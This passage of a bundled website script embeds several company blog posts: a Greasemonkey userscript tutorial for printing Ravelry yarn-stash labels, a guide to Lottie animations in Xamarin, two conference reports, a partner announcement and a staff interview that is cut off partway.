run.\n\n```javascript\n// ==UserScript==\n// @require http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.js\n// ==/UserScript==\n```\n\nbut instead of relying on that mechanism, I decided to bake the\ndependencies straight alongside the script, using\n[webpack](https://webpack.github.io/). There is no strong argument for\ngoing that route⦠except that with webpack I can use most of the new\nEcmaScript syntax, and have it automatically transpiled into common\nJavaScript. If you want to have a peek at the webpack configuration I\nused, it\'s all in the\n[script\'s GitHub repository](https://github.com/yanick/gm-ravelry-stash-label).\n\nThe final script itself is pretty straightforward. First, I bring in\nthe libraries that will do all the work for me.\n\n```javascript\nimport jquery from "jquery";\nimport kjua from "kjua";\n```\n\nThen I inject the new `print` button.\n\n```javascript\njquery(\'<a href="#" />\')\n .addClass("button")\n .append("<span>⎙ print label</span>")\n .on("click", show_label)\n .insertBefore("#stash_owner_button_set div.c_d");\n```\n\nAfter that, we need a function collecting all the information we want\nfrom the page itself.\n\n```javascript\nfunction gather_info() {\n let info = {};\n\n let stash = (info.stash = {});\n\n stash.name = jquery("#content .heading h2")\n .contents()\n .map(function () {\n // make sure it\'s a text node (type==3)\n return this.nodeType == 3 ? this.nodeValue : undefined;\n })\n .get()\n .join("");\n\n jquery(".core_item_inner .fields div.field").each(function () {\n stash[\n jquery(this).children("label").text().toLowerCase().replace(/ /g, "_")\n ]
1= jquery(this).children(".value").html();\n });\n\n let yarn = (info.yarn = {});\n\n jquery("#yarn_summary .yarn_summary .yarn_summary_content div").each(\n function () {\n yarn[jquery(this).attr("class")] = jquery(this).html();\n }\n );\n\n return info;\n}\n```\n\nFinally, the function that ties them together and generates the label\nitself.\n\n```javascript\nfunction show_label() {\n let info = gather_info();\n\n let template = `<div class=\'label_strip\'>\n <div style=\'display: flex; flex-direction: row;\'>\n <div class=\'label_info\' style=\'text-align: left\'>\n <div id=\'stash_name\'>${info.stash.name}</div>\n <div>\n ${info.yarn.yarn_name}\n ${info.yarn.yarn_company}\n </div>\n <div>\n ${info.yarn.fiber_and_weight},\n ${info.yarn.fibers}\n </div>\n <div>${info.yarn.yardage}</div>\n <div>\n colorway: ${info.stash.colorway},\n dye lot: ${info.stash.dye_lot}\n </div>\n </div>\n <div id=\'qrcode\' />\n </div>`;\n\n jquery("body")\n .html(template)\n .attr("class", "")\n .append("<style>@media print { @page { orientation: landscape } }</style>");\n\n document.querySelector("#qrcode").appendChild(\n kjua({\n text: window.location.toString(),\n size: 100,\n crisp: true\n })\n );\n\n jquery(".label_strip").css({\n "padding-left": "25%",\n "margin-top": "3cm",\n border: "1px solid black",\n margin: "0.3cm",\n "padding-top": "0.3cm",\n "padding-bottom": "0.3cm"\n });\n\n jquery(".label_info").css({\n "margin-right": "0.5cm"\n });\n\n jquery("#stash_name").css({\n "font-size": "large",\n "font-weight": "bold"\n });\n}\n```\n\nThat\'s all there is to it! Again, if you want to have a longer peek,\nor perhaps even want to fork the code, it\'s all on\n[GitHub](https://github.com/yanick/gm-ravelry-stash-label). Enjoy!\n',icon:H.A,color:"yellow"};var U=t(3779);let V={slug:"lottie-animations-in-xamarin",title:"Lottie Animations in Xamarin",excerpt:"We do a lot of work with apps and Xamarin here at Infinity. We've seen that adding animations to our Xamarin.iOS or Xamarin.Android app makes for a more appealing user experience. But if those animations are overly detailed, programming them may take quite a bit of time.",authors:["Will Hutchinson"],publishDate:new Date("2017-05-31"),featuredImage:"/content/images/blogs/lottie-xamarin/lottie-logo.png",category:"Development",tags:["Technology","Xamarin","Animation"],readTime:"5 min read",content:'Well,\nthanks to [Lottie](https://airbnb.design/lottie/) (an Open Source\nanimation tool from Airbnb) and\n[Lottie Xamarin](https://github.com/martijn00/LottieXamarin) (a set of\nXamarin bindings for Lottie created by\n[Martijn van Dijk](https://twitter.com/mhvdijk)), it\'s a lot easier to\nadd animations into our apps. Let\'s check it out.\n\n\x3c!-- cut --\x3e\n\n## What\'s It Do?\n\nLottie allows us to take an animation created in\n[Adobe After Effects](https://www.adobe.com/products/aftereffects.html)\nand play it natively in our apps by reading the animation data, which\nwe can export as a JSON file using an After Effects extension called\n[Bodymovin](https://github.com/bodymovin/bodymovin). This is awesome\nbecause we can make some pretty cool, detailed animations in After\nEffects.\n\nOne of the main benefits to this is that when the design team passes\nthe developer a motion comp and JSON file of the animation, the\ndeveloper can use Lottie to make the animation run in the app exactly\nas it was designed. No more trying to program every detail to match\nthe comp.\n\n<div class="center">\n <img src="/content/images/blogs/lottie-xamarin/lottie-logo-animation.gif"\n alt="Lottie Logo Animation Example"\n title="Lottie Logo Animation Example"\n width="216px"\n shadowoverride="true" />\n</div>\n\n## Exporting Animation Data\n\nFirst we need an animation in After Effects. We won\'t get into\nactually creating an animation in After Effects; there are plenty of\nYouTube videos out there if you\'d like to learn that. But we will\nquickly show how to export the animation data for Lottie.\n\nA good resource is [Lottie Files](http://www.lottiefiles.com), a\ngallery site where people can share free Lottie animations. Some of\nthe animations uploaded are just the exported JSON file but others\nalso come with the After Effects file so you can make changes. Another\nresource is the\n[After Effects samples](https://github.com/airbnb/lottie-android/tree/master/After%20Effects%20Samples)\nin Airbnb\'s Lottie GitHub repos. We\'re going to use their Lottie Logo\nexample.\n\nNext, install Bodymovin, following their instructions on\n[GitHub](https://github.com/bodymovin/bodymovin). With that installed\nwe open our animation file and export the data using the Bodymovin\nextension. Once the extension window is open, we select the\ncomposition to export and choose a location for the JSON file. Then\nselect Render to export the JSON file. The animation JSON file is now\nready to be integrated into the app.\n\n<div class="center">\n <img src="/content/images/blogs/lottie-xamarin/lottie-after-effects-bodymovin.jpg"\n alt="After Effects Bodymovin Extension"\n title="After Effects Bodymovin Extension" />\n</div>\n\n## Lottie in Xamarin.Android\n\nTo use Lottie in our Xamarin.Android app we first add the _Lottie for\nXamarin.Android_ NuGet package to our Android project. Then we put our\nanimation JSON file in our Android Assets folder. We\'re using the\n`LottieLogo1.json` example.\n\nWe add our `AnimationView` to our layout AXML file.\n\n```csharp\n<com.airbnb.lottie.LottieAnimationView\n android:id="@+id/animation_view"\n android:layout_width="wrap_content"\n android:layout_height="wrap_content" />\n```\n\nThen in our code behind we add a `using` statement for Lottie.\n\n```csharp\nusing Com.Airbnb.Lottie;\n```\n\nWe can set up our `AnimationView` in our `OnCreate` method.\n\n```csharp\nLottieAnimationView animationView = FindViewById<LottieAnimationView>(Resource.Id.animation_view);\nanimationView.SetAnimation("LottieLogo1.json");\nanimationView.Loop(true);\nanimationView.PlayAnimation();\n```\n\nOnce we create our `AnimationView` we then set up custom timing of our\nanimation using a `ValueAnimator`. This also allows us to add an on\ncomplete callback as well. So instead of setting loop and calling\n`PlayAnimation` on our `AnimationView`, we set up a `ValueAnimator` to\nupdate the `AnimationView.Progress` then start our `ValueAnimator` to\nplay the animation.\n\n```csharp\n// set up AnimationView in OnCreate\nLottieAnimationView animationView = FindViewById<LottieAnimationView>(Resource.Id.animation_view);\nanimationView.SetAnimation("LottieLogo1.json");\n\n// Custom animation speed or duration.\nValueAnimator animator = (ValueAnimator)ValueAnimator.OfFloat(0f, 1f).SetDuration(5000);\nanimator.Update += (sender, e) =>\n{\n animationView.Progress = (float)e.Animation.AnimatedValue;\n};\nanimator.AnimationEnd += (sender, e) => {\n // Do something\n};\nanimator.Start();\n```\n\n## Lottie in Xamarin.iOS\n\nTo use Lottie in our Xamarin.iOS app we first need to add the _Lottie\nfor Xamarin.iOS, macOS and tvOS_ NuGet package to our iOS project.\nThen we need to put our animation JSON file in our iOS Resources\nfolder.\n\nIn our ViewController we add a `using` statement for Lottie.\n\n```csharp\nusing Airbnb.Lottie;\n```\n\nIn our `ViewDidLoad` method we set up our `AnimationView`.\n\n```csharp\nLOTAnimationView animation = LOTAnimationView.AnimationNamed("LottieLogo1");\nanimation.LoopAnimation = true;\nthis.View.AddSubview(animation);\nanimation.PlayWithCompletion((animationFinished) =>
1 {\n // Do Something\n});\n```\n\nThe animation speed can also be adjusted, with negative numbers\nplaying the animation in reverse.\n\n```csharp\nanimation.AnimationSpeed = -1;\n```\n\n## Lottie in Xamarin.Forms\n\nIf we\'re building a Xamarin.Forms app we need to add the _Lottie for\nXamarin.Forms_ NuGet package to our shared, Android and iOS projects.\nWhen adding it to Android and iOS it should also add _Lottie for\nXamarin.Android_ and _Lottie for Xamarin.iOS, macOS and tvOS_,\nrespectively.\n\nIn our iOS project we need to open `AppDelegate.cs` and initialize an\n`AnimationViewRenderer`. First add the `using` statement for the iOS\nrenderers.\n\n```csharp\nusing Lottie.Forms.iOS.Renderers;\n```\n\nInitialize the renderer in `FinishedLaunching` after Xamarin.Forms is\ninitialized.\n\n```csharp\nAnimationViewRenderer.Init();\n```\n\nAgain, we add our animation JSON file to our Android Assets folder and\nour iOS Resources folder.\n\nOur `AnimationView` is added in our XAML page:\n\n```xml\n<?xml version="1.0" encoding="utf-8" ?>\n<ContentPage\n xmlns="http://xamarin.com/schemas/2014/forms"\n xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"\n xmlns:forms="clr-namespace:Lottie.Forms;assembly=Lottie.Forms"\n x:Class="LottieTest.LottieTestPage">\n\n <StackLayout>\n\n <forms:AnimationView\n x:Name="AnimationView"\n Animation="LottieLogo1.json"\n Loop="true"\n AutoPlay="true"\n VerticalOptions="FillAndExpand"\n HorizontalOptions="FillAndExpand" />\n\n </StackLayout>\n</ContentPage>\n```\n\nIn our code behind we add a `using` statement for Lottie.\n\n```csharp\nusing Lottie.Forms;\n```\n\nThe animation properties can be accessed there as well.\n\n```csharp\nAnimationView.AutoPlay = false;\nAnimationView.Loop = true;\n\nAnimationView.OnPlay += (sender, e) => {\n // Do something\n};\n\nAnimationView.OnPause += (sender, e) => {\n // Do something\n};\n\nAnimationView.Pause();\nAnimationView.Play();\n```\n\nUnfortunately, in Xamarin.Forms we don\'t have as much control over our\nanimations. So if more detailed control over animations and events is\nneeded, use separate Android and iOS implementations.\n\n## Final Thoughts\n\nThe ability to easily use animations created in After Effects in our\nXamarin apps is amazing. I\'m really excited to play around more with\nLottie and create some custom After Effect animations. I\'d like to\nthank Airbnb for creating Lottie, Martijn van Dijk for creating the\nXamarin bindings and both for sharing their work as Open Source\nsoftware under the Apache 2.0 license.\n\nIn this post, I\'ve quickly shown how to set up the basic framework\nalong with a few controls. If you\'re interested in trying out Lottie\nI\'d suggest also looking through the documentation on the\n[Lottie Xamarin GitHub repo](https://github.com/martijn00/LottieXamarin)\nand playing around with Lottie yourself to get a better feel for how\nit might help you out with incorporating animations in your own\nXamarin apps.\n\nThanks for reading. Cheers!\n',icon:U.A,color:"purple"};var J=t(4255);let Y={slug:"infinity-at-linuxfest-northwest",title:"Infinity at LinuxFest Northwest",excerpt:"John's report on attending and speaking at LFNW",authors:["John SJ Anderson"],publishDate:new Date("2017-05-19"),featuredImage:"/content/images/blogs/lfnw2017/badge.jpg",category:"Culture",tags:["Conferences","Culture","Technology","Passions"],readTime:"5 min read",content:'The first weekend in May, I had a chance to attend\n[LinuxFest Northwest](https://www.linuxfestnorthwest.org/2017) in\nBellingham, WA. I also got to present a couple talks. I had a great\ntime --- read on for all the details!\n\n\x3c!-- cut --\x3e\n\nThis was my first time attending LinuxFest Northwest, and I am really\nimpressed with how well organized this completely volunteer-run\nconference was. I\'ve helped out with some conference organization in\nthe past and have some idea of how hard it is to get everything put\ntogether just so. From the name badges, which contained a convenient\nprinted copy of the schedule, to the always-busy expo hall, to the\n_incredibly_ rapid posting of talk videos, LFNW knocked it out of the\npark.\n\n## Saturday\n\nSaturday morning, I got up and went for a run around Bellingham. I\'d\nnever been there before, and it was interesting to get a bit of the\ncity under my feet. In some ways, it reminded me of my current home,\nSalem --- both smaller PNW cities
1--- but it also had some interesting\ndifferences.\n\n<div class="float:left">\n <a href="/content/images/blogs/lfnw2017/rockets.jpg" target="_blank">\n <image src="/content/images/blogs/lfnw2017/rockets-thumb.jpg"\n alt="ROCKETS!"\n title="ROCKETS!" />\n </a>\n</div>\n\nI got a bit turned around on my run and was late for the first\nsessions, so the first talk I attended was\n["Flying Rockets with Free Hardware and Free Software"](https://www.linuxfestnorthwest.org/2017/sessions/flying-rockets-free-hardware-and-free-software),\nwhich was a really great talk. The passion of the presenters for\nflying rockets was infectious, and the audience clearly was into it as\nwell. Most of the questions went completely over my head, but it\'s\nalways inspiring to see folks talk about something they\'re deeply\ninto.\n\nLater, Saturday afternoon, I presented\n["JSON Web Tokens Will Improve Your Life"](https://www.linuxfestnorthwest.org/2017/sessions/json-web-tokens-will-improve-your-life),\nwhich seemed to be pretty well received. I got a number of excellent\nquestions and have some ideas about how to improve the talk. Thanks to\neverybody who attended!\n\n<div class="float:right">\n <a href="/content/images/blogs/lfnw2017/cookout.jpg" target="_blank">\n <image src="/content/images/blogs/lfnw2017/cookout-thumb.jpg"\n alt="As seen at System76 cookout, apologies to Jesse Vincetnâ¦"\n title="As seen at System76 cookout, apologies to Jesse Vincentâ¦" />\n </a>\n</div>\n\nSaturday evening, I stumbled into the\n[System76](https://system76.com/) cookout on the patio of the hotel\nwhere I was staying. I had a great time meeting the System76 crew and\nhanging out with them!\n\n## Sunday\n\nSunday morning got off to a slightly late start -- _totally_ unrelated\nto the drinks System76 was pouring at the cookout! -- but I managed to\nmake it over to the venue in time to see System76\'s Kyle deliver\n[Lessons Learned from 11 Years Making Machines Born to Run Linux](https://www.linuxfestnorthwest.org/2017/sessions/lessons-learned-11-years-making-machines-born-run-linux)\nwhich was a really interesting look into how System76 is working\ntowards being able to build and deliver their self-designed Linux\nlaptops and desktops.\n\nAfter lunch, I caught\n[Stratic - the (super-modular) streaming static site generator](https://www.linuxfestnorthwest.org/2017/sessions/stratic-super-modular-streaming-static-site-generator)\nwhich presented a novel approach to static site generation -- tying\ntogether various, mostly generic, Node modules via a task runner to\nproduce a static site generation system.\n\n<div class="float:left">\n <a href="/content/images/blogs/lfnw2017/logs_are_magic.jpg" target="_blank">\n <image src="/content/images/blogs/lfnw2017/logs_are_magic-thumb.jpg"\n alt="attendees at \'Logs Are Magic\'"\n title="attendees at \'Logs Are Magic\'" />\n </a>\n</div>\n\nI finished out my Sunday by presenting\n[Logs Are Magic: Why Git Workflows and Commit Structure Should Matter To You](https://www.linuxfestnorthwest.org/2017/sessions/logs-are-magic-why-git-workflows-and-commit-structure-should-matter-you).\nThis was the first time I\'d given this talk, and I was extremely\npleased with the nice-sized crowd who attended. I ended up being a\nlittle short on time, but the audience had a number of interesting\nquestions and comments and we ended up filling out the hour\nexactly. Many thanks to all who attended, and particularly those that\nhad questions and comments, or that spoke to me afterwards.\n\n## Wrapping up\n\n<div class="float:right">\n <a href="/content/images/blogs/lfnw2017/post.jpg" target="_blank">\n <image src="/content/images/blogs/lfnw2017/post-thumb.jpg"\n alt="Relaxation..."\n title="Relaxation..." />\n </a>\n</div>\n\nAfter 2 talks in 2 days, I was pretty much wiped out. After the\nconference closed out, I retired to my hotel and enjoyed the lovely\nBellingham weather. I had a great time at LinuxFest Northwest, and\nwill plan on returning next year --- hope to see you there!\n',icon:J.A,color:"green"};var X=t(3997);let K={slug:"xamarin-premier-consulting-partner",title:"Xamarin Premier Consulting Partner",excerpt:"Infinity Interactive is a Xamarin Premier Partner",authors:["Paul Zolnierczyk"],publishDate:new Date("2017-03-22"),featuredImage:"/content/images/blogs/xamarin-premier/evolve2013.jpg",category:"Business",tags:["Technology","Xamarin","DotNET","C Sharp"],readTime:"2 min read",content:'Infinity Interactive is proud to announce that we are officially a\n<a href="https://docs.microsoft.com/en-us
1/xamarin/cross-platform/partners/" target="_blank">Xamarin Premier Consulting Partner</a>!\n\n<div class="float:right">\n <img src="/content/images/blogs/xamarin-premier/badge-premier.png" alt="Xamarin Premier Consulting Partner" />\n</div>\n\n\x3c!-- cut --\x3e\n\nInfinity has a long history with\n<a href="https://www.xamarin.com/" target="_blank">Xamarin</a>,\nstarting in 2012 when some of our developers attended Visual Studio\nLive! 2012 and learned about Xamarin. Since our developers already had\nextensive experience with C# they were quite excited at the idea of\ndeveloping high quality native apps for iOS, Android and Windows Phone\nin C#, from a common code base.\n\n<div class="float:left">\n <a href="/content/images/blogs/xamarin-premier/paul-mkedotnet.jpg" target="_blank">\n <img src="/content/images/blogs/xamarin-premier/paul-mkedotnet-thumb.jpg"\n alt=\'Paul presenting \\"An Introduction to Xamarin\\" at MKE DOT NET 2016\'\n title=\'Paul presenting \\"An Introduction to Xamarin\\" at MKE DOT NET 2016\' />\n </a>\n</div>\n\nSince then, weâve gone on to develop many mobile applications with\nXamarin. Weâre also excited to share our experiences with the Xamarin\nand .NET community! Our developers are passionate and regularly host\nand attend Xamarin user groups, as well as giving presentations at\nconferences. Sean Sparkman, one of our Xamarin developers, was honored\nas a\n<a href="https://www.xamarin.com/mvp" target="_blank">Xamarin MVP</a> in 2015.\n\n<div class="float:right">\n <a href="/content/images/blogs/xamarin-premier/sean-xamarindevdays.jpg" target="_blank">\n <img src="/content/images/blogs/xamarin-premier/sean-xamarindevdays-thumb.jpg"\n alt="Sean presenting at Dallas Xamarin Dev Days 2016"\n title="Sean presenting at Dallas Xamarin Dev Days 2016" />\n </a>\n</div>\n\nSome of the events our Xamarin Certified Developers have spoken at\ninclude:\n\n- <a href="https://ti.to/xamarin/dev-days-dallas/en" target="_blank">Xamarin Dev Days Dallas</a>\n 2016 - Sean Sparkman presented "Xamarin Forms"\n- <a href="http://www.mkedotnet.com/" target="_blank">MKE DOT NET</a>\n 2016 - Paul Zolnierczyk presented\n <a href="http://www.mkedotnet.com/2016/sessions/introduction-to-xamarin/" target="_blank">An Introduction to Cross-platform Mobile Development with Xamarin</a>\n- <a href="http://www.chicagocoderconference.com/" target="_blank">Chicago Coder Conference</a>\n 2016 - Paul Zolnierczyk presented\n <a href="http://www.chicagocoderconference.com/2016-event-archive/2016-sessions/2016-sessions-track-5-mobile/" target="_blank">The Tale of TaxChat</a>\n\nIf youâre thinking of developing a high quality native mobile\napplication on iOS, Android or Windows Phone then be sure and\n[connect](/connect) with us, our Xamarin Certified Developers are\nready to help make your ideas a reality!\n\n<div class="center">\n <a href="/content/images/blogs/xamarin-premier/xamarin-monkeys.png" target="_blank">\n <img src="/content/images/blogs/xamarin-premier/xamarin-monkeys-thumb.jpg" alt="Xamarin Monkeys" />\n </a>\n</div>\n',icon:X.A,color:"blue"};var Q=t(6485);let Z={slug:"infinity-at-scale",title:"Infinity at SCaLE",excerpt:"John's report on attending and speaking at SCaLE15x",authors:["John SJ Anderson"],publishDate:new Date("2017-03-16"),category:"Culture",tags:["Conferences","Culture","Technology","Passions"],readTime:"8 min read",featuredImage:"/content/images/blogs/scale15x/hero.jpg",content:'I recently had the opportunity to attend and speak at\n[SCaLE 15x](http://www.socallinuxexpo.org/scale/15x) in Pasadena, and\nit was an awesome experience. Read on for an overview of all the great\ntalks I got a chance to see!\n\n\x3c!-- cut --\x3e\n\nThere are really three components to a great conference experience.\nObviously, the talks that are selected are going to play a big part in\nhow good the conference is --- but the less obvious factors of the\nconference location and venue as well as the other conference\nattendees are also going to play a huge part in the quality of the\nconference.\n\n## The Venue\n\nSCaLE 15x was held at the Pasaden
1a Convention Center, which is located\nin the heart of Pasadena. It was _fantastically_ walkable from the two\nrecommended conference hotels, and very conveniently located right\nacross the street from a number of awesome places to eat and/or enjoy\na coffee or beer. Signage was abundant, and despite talks being split\nacross two distinct buildings, it was easy to div out what was\ngoing on where.\n\nGenerally during a conference, I\'ll end up making one restaurant or\nbar my unofficial "home base" for lunch and/or evening activities, and\nSCaLE was no exception. I ended up at the\n[Dog Haus](http://www.doghaus.com/) just a few blocks west of the\nvenue. They had a pretty good tap list (I mean, for a place outside\nOregon _cough_) and cooked up an excellent variety of sausages. I\'m\nalready looking forward to my next return trip.\n\n## The People\n\nAs I mentioned, the second component of any great conference is who\nyou end up attending with. I was fortunate in that I had a number of\nold friends attending, but I was able to meet a fantastic set of new\nfolks as well. People will frequently tell you the "hallway track" is\nthe most important part of any conference, and in my experience, this\nis absolutely true. I spent just as much time hanging out, talking to\nfolks, and meeting new people as I did attending talks, and I think my\nSCaLE experience was all the better for that decision.\n\n## The Talks\n\nFinally, the main attraction! SCaLE\'s schedule was a little unusual,\nrelative to other conferences I\'ve attended in the past, and it wasn\'t\nuntil about halfway through the 4 days of the conference that I\nfigured out that the first 2 days had been designed as a series of\nindependently run "mini-conferences".\n\nNot much in the topics of those mini-conferences really grabbed me\n(and I may have been catching up with some old friends as well as\nputting the finishing touches on my own talk at that point), but I did\ncatch Nathan Harvey\'s\n["DevOps?! That\'s Not My Job!"](http://www.socallinuxexpo.org/scale/15x/presentations/devops-thats-not-my-job)\ntalk on Friday. Nathan did a great job of using humor to point out why\ndevops is sort of everybody\'s problem when developing software.\n\nUnlike the miniconf-driven Thursday and Friday, Saturday and Sunday\nwere more of the "main event". The conference hall was in full swing,\nthe number of attendees seemed to double or even triple, and there was\na constant buzz of conversation in the halls.\n\nSaturday, I attended\n[VM Brasseur](http://anonymoushash.vmbrasseur.com/)\'s\n["Passing the Baton: Succession planning for FOSS leadership"](http://www.socallinuxexpo.org/scale/15x/presentations/passing-baton-succession-planning-foss-leadership)\ntalk\n([video](https://archive.org/details/scale15x-passingthebaton)),\nwhich is a fantastic overview of an issue **all** successful Open\nSource projects have, and which very few are thinking about or\npreparing for.\n\n<div class="float:left">\n <a href="/content/images/blogs/scale15x/story.jpg" target="_blank">\n <image src="/content/images/blogs/scale15x/story-thumb.jpg"\n alt="Tell a story"\n title="Tell a story"\n width="300px" />\n </a>\n</div>\n\nI also caught\n[Rikki Endsley](https://twitter.com/rikkiends)\'s\ntalk on\n["Stephen King\'s Practical Advice for Tech Writers"](http://www.socallinuxexpo.org/scale/15x/presentations/stephen-kings-practical-advice-tech-writers)\n([video](https://youtu.be/laUEyW94JMo?t=7708)).\nRikki edits and writes for the fantastic\n[opensource.com](https://opensource.com/)\nsite, and had a lot of interesting things to say about both improving\nyour writing as well as ways to repurpose a single piece of writing\nmultiple times to maximize your return.\n\n<div class="float:right">\n <a href="/content/images/blogs/scale15x/who.jpg" target="_blank">\n <image src="/content/images/blogs/scale15x/who-thumb.jpg"\n alt="You really _should_ know who he isâ¦"\n title="You really _should_ know who he isâ¦"\n width="300px" />\n </a>\n</div>\n\nThe last talk I caught Saturday was\n[Corey Quinn](https://twitter.com/QuinnyPig)\'s\nabsolutely fantastic\n["Don\'t You Know Who I Am?! (The Dangers of Celebrity in Tech)"](http://www.socallinuxexpo.org/scale/15x/presentations/dont-you-know-who-i-am-dangers-celebrity-tech)\n([video](https://www.youtube.com/watch?v=laUEyW94JMo&feature=youtu.be&t=13168)),\nwhich started out as a comedic assault on the notion of "celebrity" in\ntechnical circles, took a pivot through the recent S3 outage and why\nyou probably don\'t need to worry all that much about it, and ended up\ntying all that together into a very serious concluding sequence about\nwhat\'s really important in technology: the people.\n\nIn many ways, Sunday seemed like the strongest day of deeply technical\ntalks on the schedule. I had several talks I wanted to attend in\nbasically every slot on this day, and I\'ve got a few weeks worth of\ncatching up on the video streams ahead of me as I go back to watch the\ntalks I couldn\'t catch in person.\n\n<div class="float:left">\n <a href="/content/images/blogs/scale15x/rust.jpg" target="_blank">\n <image src="/content/images/blogs/scale15x/rust-thumb.jpg"\n alt="RUST!"\n title="RUST!"\n width="300px" />\n </a>\n</div>\n\nFirst up, I saw\n[E Dunham](https://twitter.com/qedunham)\'s\nawesome\n["Starting Rust from a Scripting Backgroun
1d"](http://www.socallinuxexpo.org/scale/15x/presentations/starting-rust-scripting-background)\ntalk.\n([video](https://youtu.be/DWq1LuOeYOI?t=73))\nShe covered a huge amount of material in her alloted hour, and\ngenerated a large number of questions from the audience. She also\n_effortlessly_ answered all of those questions, on the fly. If you\'ve\never fielded talk questions, you understand just how hard it is to\ndeal with an unexpected question, particularly if the premise of the\nquestion is flawed (which happens). E made it look easy (and I am so\nenvious!)\n\n<div class="float:right">\n <a href="/content/images/blogs/scale15x/go.jpg" target="_blank">\n <image src="/content/images/blogs/scale15x/go-thumb.jpg"\n alt="Caskey dropped some devops wisdom too"\n title="Caskey dropped some devops wisdom too"\n width="300px" />\n </a>\n</div>\n\nFollowing that, I watched [Caskey Dickson](https://twitter.com/caskey)\ndeliver\n["Cross Platform Tool Development in Go"](http://www.socallinuxexpo.org/scale/15x/presentations/cross-platform-tool-development-go).\n([video](https://www.youtube.com/watch?v=DWq1LuOeYOI&feature=youtu.be&t=12562)).\nI\'m going to be honest: I dabbled with Go a few years back. I built\nsome small personal projects in it, and while I didn\'t hate it, the\nlanguage just somehow never grabbed me the way others have. After\nCaskey\'s talk, I\'m pondering giving it another shot. He laid out some\nvery nice cross-platform development and deployment features of Go,\nmaking the argument it should be your go-to language for writing\nsystem support and utility tools if you\'re dealing with a\nmulti-platform environment. (Pro-tip from Caskey: even if you think\nyou\'re not, you **are** dealing with a multi-platform environment.)\n\nAnd then finally, in the last slot of the conference, it was time for\n_my_ talk,\n["JSON Web Tokens Will Improve Your Life"](http://www.socallinuxexpo.org/scale/15x/presentations/json-web-tokens-will-improve-your-life)\n([video](https://youtu.be/DWq1LuOeYOI?t=18070)).\nI was a little worried that with a 4:30pm talk slot on the last day\n(Sunday!) of the conference, that I\'d be talking to 2\npeople. Fortunately, I still managed to attract a decent-sized crowd,\nwho asked some interesting questions. I\'ll let you watch the talk\nvideo and draw your own conclusions, however. 8^)\n\n## Wrapping upâ¦\n\nAll-in-all, SCaLE 15x was a really great conference (and not just\nbecause it involved 4 days in mostly sunny Pasadena in early March!),\nand I\'m very grateful to the organizers for accepting my talk. I\'m\nalready thinking of what talks I\'m going to pitch to them for next\nyear\'s SCaLE 16x, because I am eager to return -- and I hope I\'ll see\nyou there!\n',icon:Q.A,color:"blue"},ee={slug:"meet-toby-deshane",title:"Meet Toby Deshane",excerpt:"An interview featuring Toby Deshane, a programmer at Infinity Interactive based in Middletown, Connecticut.",authors:["Toby Deshane","Emal Sakwall"],publishDate:new Date("2017-03-10"),category:"Team",tags:["Culture","People","Interview"],readTime:"5 min read",content:'<div class="float:right">\n<img src="/content/images/blogs/meet-toby/toby.png"\n alt="Toby Deshane"\n title="Toby Deshane"\n width="250" />\n</div>\n\n_Welcome to the latest blog post in our interview series. Weâd like to\nintroduce you to our programmer, Toby Deshane._\n\n**Name, Company, Title, City**\n\nIâm Toby Deshane and I work for Infinity Interactive as a Programmer.\nI live in Middletown, CT.\n\n\x3c!-- cut --\x3e\n\n**When did you first work with Infinity?**\n\nApril 2016\n\n**What are six words you think of when you think of Infinity?**\n\nIngenuity, Flexibility, Technology, Creativity, Family, and Tacos (don\'t ask)\n\n**Are you from Connecticut, or did you move there?**\n\nI was born in Connecticut. For over 30 years I lived on the\nConnecticut shoreline, in Clinton, in a house that dates back to 1743!\nAccording to records, it used to be a tavern. I finally had to move a\ncouple years ago; the then-current owner decided heâd had enough of\nthe ghosts or something, and **_boo_**ted everyone out. Get it?\n_Boo_â¦tedâ¦? Ghosts? Okay, moving onâ¦\n\n**What moved you to become a programmer?**\n\nIn retrospect this sounds completely made up, but Iâve actually been\nprogramming since I was super young. Not hacking in diapers, but not\ntoo much later.\n\nI was completely fascinated by computers, and Iâd bash keys on the\nCommodore 64 at the Caldor department store, hoping this magical beige\nbreadbox would make the store lights turn on and off, like in the\nmovies. (Ever see the movie _âElectric Dreamsâ_? Great early 80s\ncomputer ârom-comâ, but it made me think computers were practically\nsupernatural.)\n\nSpoiler alert: the store lights did not, in fact turn off and on. In\nfact, all the thing did was scream **SYNTAX ERROR** at me. Frustrated,\nbut emboldened, I raided the book section of the store, and started\nreading everything. I would slay this bloody âsyntax errorâ, whatever\nit was!\n\nAnyway, time went on. I learned more. I spent more time at the other\nstores that had computers on display, most notably Radio Shack. By\nthen Iâd started writing small BASIC programs, and had a better\nunderstanding of computersâthey werenât magical, but they were still\n_awesome_.\n\nSo what moved me? Just a love of technology, I guess. Being able to\ncreate something meaningful that might help folks. Like fart\nsoundboards for your cell phone.\n\n**Why does the word âfamilyâ come to mind when you think of Infinity?**\n\nBut not âtacosâ? Maybe itâs due to the fact that weâre all on Slack\ntogether all day, being a virtual company, as opposed to physically\nbeing in the same building, separated by walls. It allows for an\ninteresting mix of work and ordinary everyday conversation. Sometimes\nabout current events. Sometimes about stuff going on at home. Itâs\neasier than usual to get to know y
1our coworkers, and that only adds to\nthe sense of unityâbeing a team, and wanting everyone to succeed. For\nme, at least. I canât speak for anyone else, of course.\n\nItâs probably because Iâm an old BBS/IRC-rat from the 90s and Iâm just\nmore comfortable with that mode of communication. :)\n\n**How do you act when you are stressed out?**\n\nYou know that Chelyabinsk meteor that fell over Russia back in 2013?\nThe shock wave shattered windows for miles around? That was my fault.\nI did that. Sorry. I forgot a closing quote in a JSON file. Easy fix,\nbut boy was I perturbed! Nowadays, I just squeeze a stress ball or\nsomething. Iâve come a long way.\n\n**What was your favorite food when you were a child and what is it\nnow?**\n\nBack in the day I used to be big into fried clam strips and clam\nchowder. I was nuts about them. Iâd literally swim in big plastic tubs\nof tartar sauce. Then I hit puberty, and among the other cruel\nrealities of life associated with that, I learned that _fried_\n**_clam_** _strips_ and **_clam_** _chowder_ contain **clams**.\n\nI know, right? As you can imagine, I was properly horrified. All my\nlife, up to that point, I was lied to. I was eating seafood! I should,\nat this point, probably note that Iâm not a fan of seafood. Nothing\npersonal against those who partake, of courseâenjoy, by all means!\nItâs just that seafood just feels incredibly off to me, as a\nconsumable. Hard shells. Eye stalks. Fins. That sort of thing.\n\nI think you have to get acclimated to those concepts at a really young\nage. Iâd generally only enjoyed the limited scope of fried clams and\nclam chowder, and because the word âclamâ was sandwiched in there\namong âfriedâ, âstripsâ, and âchowderâ, I never really stopped to\nthink about it. And it tasted lovely.\n\nSo, naturally, upon discovering this fact, I immediately gave them\nboth up. No 